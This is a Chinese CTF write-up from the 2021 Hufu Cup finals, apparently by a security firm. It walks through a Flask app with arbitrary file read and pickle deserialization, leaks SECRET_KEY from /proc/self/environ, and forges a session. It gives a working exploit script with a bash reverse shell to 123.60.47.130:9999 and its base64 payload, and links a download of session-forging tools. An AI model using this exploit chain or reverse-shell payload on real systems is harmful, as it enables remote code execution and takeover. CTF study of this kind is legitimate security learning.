网易首页 > 网易号 > 正文 申请入驻

记录虎符杯线下决赛flask反序列化及patch思路

0
分享至

(一)背景

前几天与团队成员一起审计复现关于flask框架的反序列化漏洞以及session伪造相关的漏洞。想到了2021年虎符杯线下决赛的这个赛题,也是涉及以上两个漏洞点,故拿出来做个分享与交流。

(二)分析

环境存在任意文件读取漏洞,直接读取/app/source得到如下源码。

审计flask代码需要先看路由以及路由对应的函数代码逻辑比较清晰,/file路由下存在任意文件读取,/admin路由下存在u = pickle.loads(u) pickle反序列化,且代码开头处存在以下一个序列化点。

User = type('User', (object,),

{ 'uname': 'test', 'is_admin': 0, '__repr__': lambda o: o.uname, })

#!/usr/bin/python3.6

import os

import pickle

from base64 import b64decode

from flask import Flask, request, render_template, session

app = Flask(__name__)

app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {

'uname': 'test',

'is_admin': 0,

'__repr__': lambda o: o.uname,

@app.route('/', methods=('GET',))

def index_handler():

if not session.get('u'):

u = pickle.dumps(User())

session['u'] = u

return "/file?file=index.js"

@app.route('/file', methods=('GET',))

def file_handler():

path = request.args.get('file')

path = os.path.join('static', path)

if not os.path.exists(path) or os.path.isdir(path) \

or '.py' in path or '.sh' in path or '..' in path or "flag" in path:

return 'disallowed'

with open(path, 'r') as fp:

content = fp.read()

return content

@app.route('/admin', methods=('GET',))

def admin_handler():

try:

u = session.get('u')

if isinstance(u, dict):#如果u对应的值是字典,会读取 u.b

u = b64decode(u.get('b'))

u = pickle.loads(u)#pickle反序列化

except Exception:

return 'uhh?'

if u.is_admin == 1:

return 'welcome, admin'

else:

return 'who are you?'

if __name__ == '__main__':

app.run('0.0.0.0', port=80, debug=False)

很明显的一个session伪造加pickle反序列化rce。代码中的secret_key被打码处理,但可以通过任意文件读取从/proc/self/environ 获取环境变量,里面有secret_key,可以拿这个secret_key伪造session。

图为读取到secret_key时应如上所示

在之前的文章中我们提过flask是个轻量级的web框架,其session区别与其他的框架是加密保存在客户端的。所以,只要获取到secret_key即可任意地构造我们所需要的session。

关于session的解释:

在解析 session 的实现之前,我们先介绍一下 session 怎么使用。session 可以看做是在不同的请求之间保存数据的方法,因为 HTTP 是无状态的协议,但是在业务应用上我们希望知道不同请求是否是同一个人发起的。比如购物网站在用户点击进入购物车的时候,服务器需要知道是哪个用户执行了这个操作。对于我们熟悉的其他web环境中,大部分对session操作都是存入服务器本地文件中,用户看到的只是session的名称(一个随机字符串),其内容保存在服务端,这样就做到了用户无法读取到session,这种叫服务端session。

(三)伪造

所以目前阶段已经获取到了反序列化所需的一切条件,只需要构造我们的反弹shell命令,代入以上的User类进行__reduce__反序列化即可。

__reduce__类似于php里面的构造函数魔术方法,在反序列化的时候自动触发。Exp脚本如下:

import pickle

from base64 import b64encode

import os

User = type('User', (object,), {

'uname': 'tyskill',

'is_admin': 0,

'__repr__': lambda o: o.uname,

'__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/123.60.47.130/9999 0>&1'",))

u = pickle.dumps(User())

print(b64encode(u).decode())

执行结果如下所示 得到序列化字符串:

gANjcG9zaXgKc3lzdGVtCnEAWDUAAABiYXNoIC1jICdiYXNoIC1pID4mIC9kZXYvdGNwLzEyMy42MC40Ny4xMzAvOTk5OSAwPiYxJ3EBhXECUnEDLg==

接下来就是伪造session,这里附上两个非常不错的工具,有需要的小伙伴可以自取!

链接:https://pan.baidu.com/s/1ZYs1wj_1s2Yx6JmweREGRg

密码:5nlt

执行以下命令,构造session:

(四)反弹shell

将生成的新session进行替换,再去访问/admin路由即可。

监听以后,刷新/admin页面即可触发反序列化。

成功反弹shell,flag在/flag目录下。

(五)总结

关于反序列化漏洞一直是红蓝对抗中兵家必争的漏洞点,受限于flask框架的应用以及利用难度,实战中往往java反序列化、php反序列化更多。但漏洞原理以及链条的构造方法从底层逻辑来看都是没有区别的,一通百通。

特别声明:以上内容(如有图片或视频亦包括在内)为自媒体平台“网易号”用户上传并发布,本平台仅提供信息存储服务。

Notice: The content above (including the pictures and videos if any) is uploaded and posted by a user of NetEase Hao, which is a social media platform and only provides information storage services.

相关推荐
热点推荐
5死伤!四川公交车失控撞人司机正抢救,事发披露原因,现场曝光

5死伤!四川公交车失控撞人司机正抢救,事发披露原因,现场曝光

博士观察
2024-12-01 21:54:16
行程开始,赖清德抵达夏威夷,下飞机讲了4个字,大陆已通知美国

行程开始,赖清德抵达夏威夷,下飞机讲了4个字,大陆已通知美国

小鬼头体育
2024-12-01 22:40:41
狼记:华子认为球队缺少交流,很重要的原因是李凯尔离开了

狼记:华子认为球队缺少交流,很重要的原因是李凯尔离开了

大眼瞄世界
2024-12-01 23:28:02
成都飞厦门一航班客舱内出现烟雾?川航:旅客充电宝冒烟,航班已安全抵达

成都飞厦门一航班客舱内出现烟雾?川航:旅客充电宝冒烟,航班已安全抵达

封面新闻
2024-12-02 12:24:08
癌症晚期的患者为啥会疼得死去活来呢?看到这张图你就明白了!

癌症晚期的患者为啥会疼得死去活来呢?看到这张图你就明白了!

科普先锋
2024-10-24 18:20:24
中国对向俄罗斯出口机械和化学品实施新制裁

中国对向俄罗斯出口机械和化学品实施新制裁

老马拉车莫少装
2024-12-01 22:15:14
吴柳芳解禁一夜涨粉125W!网友预测:必破千万,管晨辰评论区沦陷

吴柳芳解禁一夜涨粉125W!网友预测:必破千万,管晨辰评论区沦陷

娱乐的小灶
2024-12-02 07:00:15
曹德旺:在中国赚100万,我只拿42万,58万缴税,而美国到手60万

曹德旺:在中国赚100万,我只拿42万,58万缴税,而美国到手60万

现代小青青慕慕
2024-11-30 07:20:21
末节13分引逆转:文班亚马34+13+11刷纪录 刺媒盛赞联盟前五超巨

末节13分引逆转:文班亚马34+13+11刷纪录 刺媒盛赞联盟前五超巨

颜小白的篮球梦
2024-12-02 12:33:35
不懂就问,为什么很多景区这种岩石下面都顶着棍子?

不懂就问,为什么很多景区这种岩石下面都顶着棍子?

新浪财经
2024-10-27 00:07:05
西方想在乌部署10万人维和部队?俄强硬回应

西方想在乌部署10万人维和部队?俄强硬回应

参考消息
2024-11-30 21:40:08
特斯拉已向美国用户推送FSD v13.2更新:设置完导航后可一键开启

特斯拉已向美国用户推送FSD v13.2更新:设置完导航后可一键开启

IT之家
2024-12-01 09:28:08
柯文哲求刑后 邱毅是被打脸最严重之人

柯文哲求刑后 邱毅是被打脸最严重之人

朗威游戏说
2024-12-02 09:27:22
杜锋继续推卸责任!赛后发言太鲁莽,让郭士强和胡明轩都无话可说

杜锋继续推卸责任!赛后发言太鲁莽,让郭士强和胡明轩都无话可说

嘴炮体坛
2024-12-01 23:25:03
知名机构预测:Mate70系列的销量预计仅为300万台

知名机构预测:Mate70系列的销量预计仅为300万台

中关村在线
2024-11-30 11:48:22
中巴精锐部队正想动手,巴铁后方突然传来噩耗:调虎离山之计!

中巴精锐部队正想动手,巴铁后方突然传来噩耗:调虎离山之计!

小企鹅侃世界
2024-11-28 00:17:34
巴铁战失败了,俾路支叛军反击杀死38人:我军第一课消灭敌狙击手

巴铁战失败了,俾路支叛军反击杀死38人:我军第一课消灭敌狙击手

现代小青青慕慕
2024-11-24 00:01:06
西部第一轰然倒下,火箭赢球秘诀确认,可以找出4个,一人真好用

西部第一轰然倒下,火箭赢球秘诀确认,可以找出4个,一人真好用

体坛大辣椒
2024-12-02 10:58:33
许世友下葬后,王震用拐杖指着参加葬礼的众人:你们千万不能学他

许世友下葬后,王震用拐杖指着参加葬礼的众人:你们千万不能学他

历史龙元阁
2024-11-20 23:14:25
高圆圆现身农村被偶遇,随便披个围巾都能美成焦点

高圆圆现身农村被偶遇,随便披个围巾都能美成焦点

时髦范
2024-11-30 23:27:10
2024-12-02 13:15:00
星云博创
星云博创
星云博创-专业安全服务提供商
90文章数 12关注度
往期回顾 全部

科技要闻

11月成绩单:小鹏首破3万,蔚来小米破2万

头条要闻

没有关卡和奖励 博主将去世奶奶做进掌机游戏看哭网友

头条要闻

没有关卡和奖励 博主将去世奶奶做进掌机游戏看哭网友

体育要闻

强势比6根手指!瓜迪奥拉回击利物浦球迷

娱乐要闻

这是麦琳?烟熏妆神似安室奈美惠!

财经要闻

400人获刑!诈骗集团后台控制"股票"涨跌

汽车要闻

科技是中国豪车梦的支点 腾势Z9走心试驾体验

态度原创

游戏
本地
家居
亲子
公开课

《地狱潜者2》配乐未获TGA提名 制作人打抱不平

本地新闻

云游中国|来伦布夏果感受充满Passion的人生

家居要闻

动线自由开合 开放中的私密

亲子要闻

妈妈给宝宝准备的大奶瓶,这看起来都和宝宝一样大了

公开课

一块玻璃,如何改变人类世界?

无障碍浏览 进入关怀版